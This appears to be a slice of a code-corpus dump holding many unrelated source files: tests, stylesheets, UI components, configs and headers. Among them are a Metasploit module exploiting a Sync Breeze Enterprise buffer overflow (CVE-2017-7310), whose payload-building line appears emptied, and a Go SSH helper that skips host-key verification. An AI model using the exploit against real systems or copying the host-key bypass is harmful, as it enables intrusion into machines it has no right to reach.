(e, (f,))=(4, (5,)), *g, **h)')\r\n\r\n def test_getargspec_method(self):\r\n class A(object):\r\n def m(self):\r\n pass\r\n self.assertArgSpecEquals(A.m, ['self'])\r\n\r\n def test_getargspec_sublistofone(self):\r\n with _check_py3k_warnings(\r\n (\"tuple parameter unpacking has been removed\", SyntaxWarning),\r\n (\"parenthesized argument names are invalid\", SyntaxWarning)):\r\n exec 'def sublistOfOne((foo,)): return 1'\r\n self.assertArgSpecEquals(sublistOfOne, [['foo']])\r\n\r\n exec 'def fakeSublistOfOne((foo)): return 1'\r\n self.assertArgSpecEquals(fakeSublistOfOne, ['foo'])\r\n\r\n def test_classify_oldstyle(self):\r\n class A:\r\n def s(): pass\r\n s = staticmethod(s)\r\n\r\n def c(cls): pass\r\n c = classmethod(c)\r\n\r\n def getp(self): pass\r\n p = property(getp)\r\n\r\n def m(self): pass\r\n\r\n def m1(self): pass\r\n\r\n datablob = '1'\r\n\r\n attrs = attrs_wo_objs(A)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'class method', A) in attrs, 'missing class method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n class B(A):\r\n def m(self): pass\r\n\r\n attrs = attrs_wo_objs(B)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'class method', A) in attrs, 'missing class method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', B) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n\r\n class C(A):\r\n def m(self): pass\r\n def c(self): pass\r\n\r\n attrs = attrs_wo_objs(C)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'method', C) in attrs, 'missing plain method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', C) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n class D(B, C):\r\n def m1(self): pass\r\n\r\n attrs = attrs_wo_objs(D)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'class method', A) in attrs, 'missing class method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', B) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', D) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n # Repeat all that, but w/ new-style classes.\r\n def test_classify_newstyle(self):\r\n class A(object):\r\n\r\n def s(): pass\r\n s = staticmethod(s)\r\n\r\n def c(cls): pass\r\n c = classmethod(c)\r\n\r\n def getp(self): pass\r\n p = property(getp)\r\n\r\n def m(self): pass\r\n\r\n def m1(self): pass\r\n\r\n datablob = '1'\r\n\r\n attrs = attrs_wo_objs(A)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'class method', A) in attrs, 'missing class method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n class B(A):\r\n\r\n def m(self): pass\r\n\r\n attrs = attrs_wo_objs(B)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'class method', A) in attrs, 'missing class method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', B) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n\r\n class C(A):\r\n\r\n def m(self): pass\r\n def c(self): pass\r\n\r\n attrs = attrs_wo_objs(C)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'method', C) in attrs, 'missing plain method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', C) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', A) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\n class D(B, C):\r\n\r\n def m1(self): pass\r\n\r\n attrs = attrs_wo_objs(D)\r\n self.assert_(('s', 'static method', A) in attrs, 'missing static method')\r\n self.assert_(('c', 'method', C) in attrs, 'missing plain method')\r\n self.assert_(('p', 'property', A) in attrs, 'missing property')\r\n self.assert_(('m', 'method', B) in attrs, 'missing plain method')\r\n self.assert_(('m1', 'method', D) in attrs, 'missing plain method')\r\n self.assert_(('datablob', 'data', A) in attrs, 'missing data')\r\n\r\ndef test_main():\r\n run_unittest(TestDecorators, TestRetrievingSourceCode, TestOneliners,\r\n TestBuggyCases,\r\n TestInterpreterStack, TestClassesAndFunctions, TestPredicates)\r\n\r\nif __name__ == \"__main__\":\r\n test_main()\r\n"} +{"text": "/* @theme: default; */\n\n.input {\n @include placeholder {\n color: get-color('additional', 'middle');\n }\n\n &--size-m {\n height: $base-ui-element-height-size-m;\n padding: $input-padding--m;\n }\n\n &--size-s {\n padding: $input-padding--s;\n }\n\n &--size-x-s {\n padding: $input-padding--x-s;\n }\n\n &--has-datepicker {\n max-width: 140px;\n padding-left: 39px;\n }\n\n &[type=\"number\"] {\n -moz-appearance: textfield;\n\n &::-webkit-outer-spin-button,\n &::-webkit-inner-spin-button {\n margin: 0;\n\n @include appearance();\n }\n }\n\n @include element-state('error') {\n box-shadow: $input-box-shadow-error-state;\n }\n\n @include element-state('disabled') {\n background: $input-background-color-disabled-state;\n box-shadow: none;\n border: $input-border;\n }\n}\n"} +{"text": "\n#include \n#include \"xmath.h\"\n#include \"xxwctype.h\"\n#include \"xxdftype.h\"\n\n_CRTIMP2_PURE FTYPE __CLRCALL_PURE_OR_CDECL _WStodx(const CTYPE *s, CTYPE **endptr, long pten,\n\tint *perr)\n\t#include \"xxstod.h\"\n\n_CRTIMP2_PURE FTYPE __CLRCALL_PURE_OR_CDECL _WStod(const CTYPE *s, CTYPE **endptr, long pten)\n\t{\t/* convert string, discard error code */\n\treturn (_WStodx(s, endptr, pten, 0));\n\t}\n\n/*\n * Copyright (c) by P.J. Plauger. All rights reserved.\n * Consult your license regarding permissions and restrictions.\nV6.50:0009 */\n"} +{"text": "package net.rafaeltoledo.security;\n\nimport android.app.Application;\nimport android.util.Log;\n\nimport com.orhanobut.hawk.Hawk;\n\nimport net.sqlcipher.database.SQLiteDatabase;\n\npublic class SecurityApp extends Application {\n\n private static final String TAG = SecurityApp.class.getSimpleName();\n private static final String PREF_TIMES = \"net.rafaeltoledo.security.PREF_TIMES\";\n\n @Override\n public void onCreate() {\n super.onCreate();\n Hawk.init(this).build();\n SQLiteDatabase.loadLibs(this);\n\n int times = Hawk.get(PREF_TIMES, 0) + 1;\n Log.d(TAG, \"Psss! Let me tell a secret: you opened this app \" + times + \" times.\");\n Hawk.put(PREF_TIMES, times);\n }\n}\n"} +{"text": "### Reporting Bugs/Errors\n\nWhen reporting errors, 99% of the time log file output is required. Please post the log file as a [gist](https://gist.github.com/) and provide a link in the new issue.\n\nAlso please have a look at the docs of the [core dependency-check](https://github.com/jeremylong/DependencyCheck) library to understand how the library works before you report a bug:\n* [How does dependency-check work?](http://jeremylong.github.io/DependencyCheck/general/internals.html)\n* [How to read the report](http://jeremylong.github.io/DependencyCheck/general/thereport.html)\n* [Suppressing False Positives](http://jeremylong.github.io/DependencyCheck/general/suppression.html)\n\n\n### Reporting False Positives/Negatives\n\nAs `sbt-dependency-check` is just a wrapper for SBT around the awesome [core dependency-check](https://github.com/jeremylong/DependencyCheck) \nproject please report false positives/negatives [issues](https://github.com/jeremylong/DependencyCheck/issues) there.\n\n\n\n\n"} +{"text": "\n * @copyright (C) SOFTLAB24 LIMITED\n * @license Open Source Social Network License (OSSN LICENSE) http://www.opensource-socialnetwork.org/licence\n * @link https://www.opensource-socialnetwork.org/\n */\n\n$en = array(\n 'album:name' => 'Nome Album',\n 'add:album' => 'Aggiungi Album',\n 'photo:select' => 'Seleziona Foto',\n 'no:albums' => 'Nessun Album',\n 'no:photos' => 'Nessuna Foto',\n 'back:to:album' => 'Ritorna all\\'Album',\n 'photo:albums' => 'Foto Albums',\n\t\n 'photo:deleted:success' => 'Foto cancellata correttamente!',\n 'photo:delete:error' => 'Impossibile cancellare la foto! Per favore, riprova più tardi.',\n\t\n 'photos' => 'Foto',\n 'back' => 'Indietro',\n 'add:photos' => 'Aggiungi altre foto',\n 'delete:photo' => 'Cancella foto',\n\t\n 'covers' => 'Immagine Copertina',\n 'cover:view' => 'Visualizza Immagine Copertina',\n 'profile:covers' => 'Immagini Profilo',\n\t'delete:album' => 'Cancella Album',\n\t\n\t'photo:album:deleted' => 'Album cancellato con successo',\n\t'photo:album:delete:error' => 'Impossibile cancellare l\\'album',\n\t\n\n);\nossn_register_languages('it', $en); \n"} +{"text": "'use strict';\n\nvar _inherits = require('babel-runtime/helpers/inherits')['default'];\n\nvar _classCallCheck = require('babel-runtime/helpers/class-call-check')['default'];\n\nvar _extends = require('babel-runtime/helpers/extends')['default'];\n\nvar _interopRequireDefault = require('babel-runtime/helpers/interop-require-default')['default'];\n\nexports.__esModule = true;\n\nvar _domHelpersStyle = require('dom-helpers/style');\n\nvar _domHelpersStyle2 = _interopRequireDefault(_domHelpersStyle);\n\nvar _react = require('react');\n\nvar _react2 = _interopRequireDefault(_react);\n\nvar _classnames = require('classnames');\n\nvar _classnames2 = _interopRequireDefault(_classnames);\n\nvar _reactOverlaysLibTransition = require('react-overlays/lib/Transition');\n\nvar _reactOverlaysLibTransition2 = _interopRequireDefault(_reactOverlaysLibTransition);\n\nvar _reactPropTypesLibDeprecated = require('react-prop-types/lib/deprecated');\n\nvar _reactPropTypesLibDeprecated2 = _interopRequireDefault(_reactPropTypesLibDeprecated);\n\nvar _utilsCreateChainedFunction = require('./utils/createChainedFunction');\n\nvar _utilsCreateChainedFunction2 = _interopRequireDefault(_utilsCreateChainedFunction);\n\nvar capitalize = function capitalize(str) {\n return str[0].toUpperCase() + str.substr(1);\n};\n\n// reading a dimension prop will cause the browser to recalculate,\n// which will let our animations work\nvar triggerBrowserReflow = function triggerBrowserReflow(node) {\n return node.offsetHeight;\n};\n\nvar MARGINS = {\n height: ['marginTop', 'marginBottom'],\n width: ['marginLeft', 'marginRight']\n};\n\nfunction getDimensionValue(dimension, elem) {\n var value = elem['offset' + capitalize(dimension)];\n var margins = MARGINS[dimension];\n\n return value + parseInt(_domHelpersStyle2['default'](elem, margins[0]), 10) + parseInt(_domHelpersStyle2['default'](elem, margins[1]), 10);\n}\n\nvar Collapse = (function (_React$Component) {\n _inherits(Collapse, _React$Component);\n\n function Collapse(props, context) {\n _classCallCheck(this, Collapse);\n\n _React$Component.call(this, props, context);\n\n this.onEnterListener = this.handleEnter.bind(this);\n this.onEnteringListener = this.handleEntering.bind(this);\n this.onEnteredListener = this.handleEntered.bind(this);\n this.onExitListener = this.handleExit.bind(this);\n this.onExitingListener = this.handleExiting.bind(this);\n }\n\n // Explicitly copied from Transition for doc generation.\n // TODO: Remove duplication once #977 is resolved.\n\n Collapse.prototype.render = function render() {\n var enter = _utilsCreateChainedFunction2['default'](this.onEnterListener, this.props.onEnter);\n var entering = _utilsCreateChainedFunction2['default'](this.onEnteringListener, this.props.onEntering);\n var entered = _utilsCreateChainedFunction2['default'](this.onEnteredListener, this.props.onEntered);\n var exit = _utilsCreateChainedFunction2['default'](this.onExitListener, this.props.onExit);\n var exiting = _utilsCreateChainedFunction2['default'](this.onExitingListener, this.props.onExiting);\n\n return _react2['default'].createElement(\n _reactOverlaysLibTransition2['default'],\n _extends({\n ref: 'transition'\n }, this.props, {\n 'aria-expanded': this.props.role ? this.props['in'] : null,\n className: _classnames2['default'](this.props.className, { width: this._dimension() === 'width' }),\n exitedClassName: 'collapse',\n exitingClassName: 'collapsing',\n enteredClassName: 'collapse in',\n enteringClassName: 'collapsing',\n onEnter: enter,\n onEntering: entering,\n onEntered: entered,\n onExit: exit,\n onExiting: exiting,\n onExited: this.props.onExited\n }),\n this.props.children\n );\n };\n\n /* -- Expanding -- */\n\n Collapse.prototype.handleEnter = function handleEnter(elem) {\n var dimension = this._dimension();\n elem.style[dimension] = '0';\n };\n\n Collapse.prototype.handleEntering = function handleEntering(elem) {\n var dimension = this._dimension();\n\n elem.style[dimension] = this._getScrollDimensionValue(elem, dimension);\n };\n\n Collapse.prototype.handleEntered = function handleEntered(elem) {\n var dimension = this._dimension();\n elem.style[dimension] = null;\n };\n\n /* -- Collapsing -- */\n\n Collapse.prototype.handleExit = function handleExit(elem) {\n var dimension = this._dimension();\n\n elem.style[dimension] = this.props.getDimensionValue(dimension, elem) + 'px';\n };\n\n Collapse.prototype.handleExiting = function handleExiting(elem) {\n var dimension = this._dimension();\n\n triggerBrowserReflow(elem);\n elem.style[dimension] = '0';\n };\n\n Collapse.prototype._dimension = function _dimension() {\n return typeof this.props.dimension === 'function' ? this.props.dimension() : this.props.dimension;\n };\n\n // for testing\n\n Collapse.prototype._getTransitionInstance = function _getTransitionInstance() {\n return this.refs.transition;\n };\n\n Collapse.prototype._getScrollDimensionValue = function _getScrollDimensionValue(elem, dimension) {\n return elem['scroll' + capitalize(dimension)] + 'px';\n };\n\n return Collapse;\n})(_react2['default'].Component);\n\nCollapse.propTypes = {\n /**\n * Show the component; triggers the expand or collapse animation\n */\n 'in': _react2['default'].PropTypes.bool,\n\n /**\n * Unmount the component (remove it from the DOM) when it is collapsed\n */\n unmountOnExit: _react2['default'].PropTypes.bool,\n\n /**\n * Run the expand animation when the component mounts, if it is initially\n * shown\n */\n transitionAppear: _react2['default'].PropTypes.bool,\n\n /**\n * Duration of the collapse animation in milliseconds, to ensure that\n * finishing callbacks are fired even if the original browser transition end\n * events are canceled\n */\n timeout: _react2['default'].PropTypes.number,\n\n /**\n * duration\n * @private\n */\n duration: _reactPropTypesLibDeprecated2['default'](_react2['default'].PropTypes.number, 'Use `timeout`.'),\n\n /**\n * Callback fired before the component expands\n */\n onEnter: _react2['default'].PropTypes.func,\n /**\n * Callback fired after the component starts to expand\n */\n onEntering: _react2['default'].PropTypes.func,\n /**\n * Callback fired after the component has expanded\n */\n onEntered: _react2['default'].PropTypes.func,\n /**\n * Callback fired before the component collapses\n */\n onExit: _react2['default'].PropTypes.func,\n /**\n * Callback fired after the component starts to collapse\n */\n onExiting: _react2['default'].PropTypes.func,\n /**\n * Callback fired after the component has collapsed\n */\n onExited: _react2['default'].PropTypes.func,\n\n /**\n * The dimension used when collapsing, or a function that returns the\n * dimension\n *\n * _Note: Bootstrap only partially supports 'width'!\n * You will need to supply your own CSS animation for the `.width` CSS class._\n */\n dimension: _react2['default'].PropTypes.oneOfType([_react2['default'].PropTypes.oneOf(['height', 'width']), _react2['default'].PropTypes.func]),\n\n /**\n * Function that returns the height or width of the animating DOM node\n *\n * Allows for providing some custom logic for how much the Collapse component\n * should animate in its specified dimension. Called with the current\n * dimension prop value and the DOM node.\n */\n getDimensionValue: _react2['default'].PropTypes.func,\n\n /**\n * ARIA role of collapsible element\n */\n role: _react2['default'].PropTypes.string\n};\n\nCollapse.defaultProps = {\n 'in': false,\n timeout: 300,\n unmountOnExit: false,\n transitionAppear: false,\n\n dimension: 'height',\n getDimensionValue: getDimensionValue\n};\n\nexports['default'] = Collapse;\nmodule.exports = exports['default'];"} +{"text": "//----------------------------------------------\n// NGUI: Next-Gen UI kit\n// Copyright © 2011-2015 Tasharen Entertainment\n//----------------------------------------------\n\nusing UnityEngine;\n\n/// \n/// Spring-like motion -- the farther away the object is from the target, the stronger the pull.\n/// \n\n[AddComponentMenu(\"NGUI/Tween/Spring Position\")]\npublic class SpringPosition : MonoBehaviour\n{\n\tstatic public SpringPosition current;\n\n\t/// \n\t/// Target position to tween to.\n\t/// \n\n\tpublic Vector3 target = Vector3.zero;\n\n\t/// \n\t/// Strength of the spring. The higher the value, the faster the movement.\n\t/// \n\n\tpublic float strength = 10f;\n\n\t/// \n\t/// Is the calculation done in world space or local space?\n\t/// \n\n\tpublic bool worldSpace = false;\n\n\t/// \n\t/// Whether the time scale will be ignored. Generally UI components should set it to 'true'.\n\t/// \n\n\tpublic bool ignoreTimeScale = false;\n\n\t/// \n\t/// Whether the parent scroll view will be updated as the object moves.\n\t/// \n\n\tpublic bool updateScrollView = false;\n\n\tpublic delegate void OnFinished ();\n\n\t/// \n\t/// Delegate to trigger when the spring finishes.\n\t/// \n\n\tpublic OnFinished onFinished;\n\n\t// Deprecated functionality\n\t[SerializeField][HideInInspector] GameObject eventReceiver = null;\n\t[SerializeField][HideInInspector] public string callWhenFinished;\n\n\tTransform mTrans;\n\tfloat mThreshold = 0f;\n\tUIScrollView mSv;\n\n\t/// \n\t/// Cache the transform.\n\t/// \n\n\tvoid Start ()\n\t{\n\t\tmTrans = transform;\n\t\tif (updateScrollView) mSv = NGUITools.FindInParents(gameObject);\n\t}\n\n\t/// \n\t/// Advance toward the target position.\n\t/// \n\n\tvoid Update ()\n\t{\n\t\tfloat delta = ignoreTimeScale ? Time.deltaTime : Time.deltaTime;\n\n\t\tif (worldSpace)\n\t\t{\n\t\t\tif (mThreshold == 0f) mThreshold = (target - mTrans.position).sqrMagnitude * 0.001f;\n\t\t\tmTrans.position = NGUIMath.SpringLerp(mTrans.position, target, strength, delta);\n\n\t\t\tif (mThreshold >= (target - mTrans.position).sqrMagnitude)\n\t\t\t{\n\t\t\t\tmTrans.position = target;\n\t\t\t\tNotifyListeners();\n\t\t\t\tenabled = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (mThreshold == 0f) mThreshold = (target - mTrans.localPosition).sqrMagnitude * 0.00001f;\n\t\t\tmTrans.localPosition = NGUIMath.SpringLerp(mTrans.localPosition, target, strength, delta);\n\n\t\t\tif (mThreshold >= (target - mTrans.localPosition).sqrMagnitude)\n\t\t\t{\n\t\t\t\tmTrans.localPosition = target;\n\t\t\t\tNotifyListeners();\n\t\t\t\tenabled = false;\n\t\t\t}\n\t\t}\n\n\t\t// Ensure that the scroll bars remain in sync\n\t\tif (mSv != null) mSv.UpdateScrollbars(true);\n\t}\n\n\t/// \n\t/// Notify all finished event listeners.\n\t/// \n\n\tvoid NotifyListeners ()\n\t{\n\t\tcurrent = this;\n\n\t\tif (onFinished != null) onFinished();\n\n\t\tif (eventReceiver != null && !string.IsNullOrEmpty(callWhenFinished))\n\t\t\teventReceiver.SendMessage(callWhenFinished, this, SendMessageOptions.DontRequireReceiver);\n\n\t\tcurrent = null;\n\t}\n\n\t/// \n\t/// Start the tweening process.\n\t/// \n\n\tstatic public SpringPosition Begin (GameObject go, Vector3 pos, float strength)\n\t{\n\t\tSpringPosition sp = go.GetComponent();\n\t\tif (sp == null) sp = go.AddComponent();\n\t\tsp.target = pos;\n\t\tsp.strength = strength;\n\t\tsp.onFinished = null;\n\n\t\tif (!sp.enabled)\n\t\t{\n\t\t\tsp.mThreshold = 0f;\n\t\t\tsp.enabled = true;\n\t\t}\n\t\treturn sp;\n\t}\n}\n"} +{"text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT license.\n\npackage operations\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\n\t\"golang.org/x/crypto/ssh\"\n)\n\n// RemoteRun executes remote command\nfunc RemoteRun(user string, addr string, port int, sshKey []byte, cmd string) (string, error) {\n\t// Create the Signer for this private key.\n\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to parse private key: %v\", err)\n\t}\n\n\t// Authentication\n\tconfig := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: func(string, net.Addr, ssh.PublicKey) error { return nil },\n\t}\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", addr, port), config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer session.Close()\n\tvar b bytes.Buffer\n\tsession.Stdout = &b // get output\n\n\terr = session.Run(cmd)\n\treturn b.String(), err\n}\n"} +{"text": "module ProjectExportations\n module Operations\n # Ensure that the {ProjectExportation} is ready to receive\n # a BagIt spec export and attach it.\n class MarkExportReady\n include Shared::PipelineOperation\n\n # @param [ProjectExportation] project_exportation\n # @return [Dry::Monads::Result]\n def call(project_exportation)\n monadic_transition_to! project_exportation, :export_ready\n end\n end\n end\nend\n"} +{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n// Defines the Chrome Extensions Proxy Settings API relevant classes to realize\n// the API as specified in the extension API JSON.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_API_PROXY_PROXY_API_H_\n#define CHROME_BROWSER_EXTENSIONS_API_PROXY_PROXY_API_H_\n\n#include \n\n#include \"base/memory/singleton.h\"\n#include \"base/string16.h\"\n#include \"chrome/browser/extensions/extension_preference_api.h\"\n#include \"chrome/browser/prefs/proxy_prefs.h\"\n\nclass ExtensionEventRouterForwarder;\n\nnamespace base {\nclass Value;\n}\n\nnamespace extensions {\n\n// Class to convert between the representation of proxy settings used\n// in the Proxy Settings API and the representation used in the PrefStores.\n// This plugs into the ExtensionPreferenceAPI to get and set proxy settings.\nclass ProxyPrefTransformer : public PrefTransformerInterface {\n public:\n ProxyPrefTransformer();\n virtual ~ProxyPrefTransformer();\n\n // Implementation of PrefTransformerInterface.\n virtual base::Value* ExtensionToBrowserPref(const base::Value* extension_pref,\n std::string* error,\n bool* bad_message) OVERRIDE;\n virtual base::Value* BrowserToExtensionPref(\n const base::Value* browser_pref) OVERRIDE;\n\n private:\n DISALLOW_COPY_AND_ASSIGN(ProxyPrefTransformer);\n};\n\n// This class observes proxy error events and routes them to the appropriate\n// extensions listening to those events. All methods must be called on the IO\n// thread unless otherwise specified.\nclass ProxyEventRouter {\n public:\n static ProxyEventRouter* GetInstance();\n\n void OnProxyError(ExtensionEventRouterForwarder* event_router,\n void* profile,\n int error_code);\n\n void OnPACScriptError(ExtensionEventRouterForwarder* event_router,\n void* profile,\n int line_number,\n const string16& error);\n\n private:\n friend struct DefaultSingletonTraits;\n\n ProxyEventRouter();\n ~ProxyEventRouter();\n\n DISALLOW_COPY_AND_ASSIGN(ProxyEventRouter);\n};\n\n} // namespace extensions\n\n#endif // CHROME_BROWSER_EXTENSIONS_API_PROXY_PROXY_API_H_\n"} +{"text": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::Remote::Seh\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',\n 'Description' => %q(\n This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16\n by using the import command option to import a specially crafted xml file.\n ),\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Daniel Teixeira'\n ],\n 'References' =>\n [\n [ 'CVE', '2017-7310' ],\n [ 'EDB', '41773' ]\n ],\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'seh',\n 'DisablePayloadHandler' => 'true'\n },\n 'Platform' => 'win',\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\\x01\\x02\\x0a\\x0b\\x0c\\x22\\x27\",\n 'StackAdjustment' => -3500\n },\n 'Targets' =>\n [\n ['Windows Universal', { 'Ret' => 0x10015FFE } ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => 'Mar 29 2017',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])\n ])\n end\n\n def exploit\n jmpesp = \"\\x7A\\xB7\\x1B\\x65\" # JMP ESP QtGui4.dll\n esp = \"\\x8D\\x44\\x24\\x4C\" # LEA EAX, [ESP+76]\n jmp = \"\\xFF\\xE0\" # JMP ESP\n\n buffer = \"\\n\"\n\n print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n file_create(buffer)\n end\nend\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0-or-later OR MIT\n/dts-v1/;\n\n#include \"qca953x_tplink_tl-wr810n.dtsi\"\n\n/ {\n\tcompatible = \"tplink,tl-wr810n-v1\", \"qca,qca9531\";\n\tmodel = \"TP-Link TL-WR810N v1\";\n\n\treg_usb_vbus: reg_usb_vbus {\n\t\tcompatible = \"regulator-fixed\";\n\t\tregulator-name = \"usb_vbus\";\n\t\tregulator-min-microvolt = <5000000>;\n\t\tregulator-max-microvolt = <5000000>;\n\t\tgpio = <&gpio 8 GPIO_ACTIVE_HIGH>;\n\t\tenable-active-high;\n\t};\n};\n\n&usb0 {\n\t#address-cells = <1>;\n\t#size-cells = <0>;\n\tvbus-supply = <®_usb_vbus>;\n\tstatus = \"okay\";\n\n\thub_port: port@1 {\n\t\treg = <1>;\n\t\t#trigger-source-cells = <0>;\n\t};\n};\n\n&usb_phy {\n\tstatus = \"okay\";\n};\n"} +{"text": "package com.hankkin.reading.ui.home.articledetail\n\nimport com.hankkin.library.mvp.presenter.RxLifePresenter\n\n/**\n * Created by huanghaijie on 2018/5/16.\n */\nclass ArticleDetailPresenter : RxLifePresenter(), ArticleDetailContract.IPresenter {\n\n override fun collectHttp() {\n\n }\n\n\n}"} +{"text": "\nCommand explanations\n\nmake PROCESSEDEXAMPLEFILES=\"\": Groff has a few\nextra dependencies that we don't install with LFS. This option disables the\nneed for those tools.\n\nln -s ...: These symlinks are needed for some\nxman and other groff/man document programs to work\nproperly.\n\n\n\n"} +{"text": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`TodoFilter should renders correctly 1`] = `\n\n test\n\n`;\n"} +{"text": "[parameter_permission_items]\npermissionItem1.object = KalturaReachProfile\npermissionItem1.parameter = credit\npermissionItem1.action = update\npermissionItem1.partnerId = -2\npermissionItem1.param4 =\npermissionItem1.param5 =\npermissionItem1.tags =\npermissionItem1.permissions = REACH_ADMIN_PERMISSION\n"} +{"text": "module Runbook::Statements\n class Note < Runbook::Statement\n attr_reader :msg\n\n def initialize(msg)\n @msg = msg\n end\n end\nend\n\n"} +{"text": "/* eslint-disable camelcase */\n/* eslint-disable max-len */\n/* eslint-disable array-element-newline */\n/* eslint-disable no-useless-escape */\n/* eslint-disable no-underscore-dangle */\n/* eslint-disable spaced-comment */\n/*---------------------------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. See License.txt in the project root for license information.\n *--------------------------------------------------------------------------------------------*/\n\n'use strict';\n\n// Allow for running under nodejs/requirejs in tests\nconst _monaco = global.monaco;\n\nmodule.exports.conf = {\n wordPattern: /(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\#\\%\\^\\&\\*\\(\\)\\-\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,\n\n comments: {\n lineComment: '//',\n blockComment: ['/*', '*/']\n },\n\n brackets: [\n ['{', '}'],\n ['[', ']'],\n ['(', ')']\n ],\n\n onEnterRules: [\n {\n // e.g. /** | */\n beforeText: /^\\s*\\/\\*\\*(?!\\/)([^\\*]|\\*(?!\\/))*$/,\n afterText: /^\\s*\\*\\/$/,\n action: {\n indentAction: _monaco.languages.IndentAction.IndentOutdent, appendText: ' * '\n }\n },\n {\n // e.g. /** ...|\n beforeText: /^\\s*\\/\\*\\*(?!\\/)([^\\*]|\\*(?!\\/))*$/,\n action: {\n indentAction: _monaco.languages.IndentAction.None, appendText: ' * '\n }\n },\n {\n // e.g. * ...|\n beforeText: /^(\\t|(\\ \\ ))*\\ \\*(\\ ([^\\*]|\\*(?!\\/))*)?$/,\n action: {\n indentAction: _monaco.languages.IndentAction.None, appendText: '* '\n }\n },\n {\n // e.g. */|\n beforeText: /^(\\t|(\\ \\ ))*\\ \\*\\/\\s*$/,\n action: {\n indentAction: _monaco.languages.IndentAction.None, removeText: 1\n }\n }\n ],\n\n autoClosingPairs: [\n {\n open: '{', close: '}'\n },\n {\n open: '[', close: ']'\n },\n {\n open: '(', close: ')'\n },\n {\n open: '\"', close: '\"', notIn: ['string']\n },\n {\n open: '\\'', close: '\\'', notIn: ['string', 'comment']\n },\n {\n open: '`', close: '`', notIn: ['string', 'comment']\n },\n {\n open: '/**', close: ' */', notIn: ['string']\n }\n ],\n\n folding: {\n markers: {\n start: new RegExp('^\\\\s*//\\\\s*#?region\\\\b'),\n end: new RegExp('^\\\\s*//\\\\s*#?endregion\\\\b')\n }\n }\n};\n\nmodule.exports.language = {\n // Set defaultToken to invalid to see what you do not tokenize yet\n defaultToken: 'invalid',\n tokenPostfix: '.ts',\n\n keywords: [\n 'abstract', 'as', 'break', 'case', 'catch', 'class', 'continue', 'const',\n 'constructor', 'debugger', 'declare', 'default', 'delete', 'do', 'else',\n 'enum', 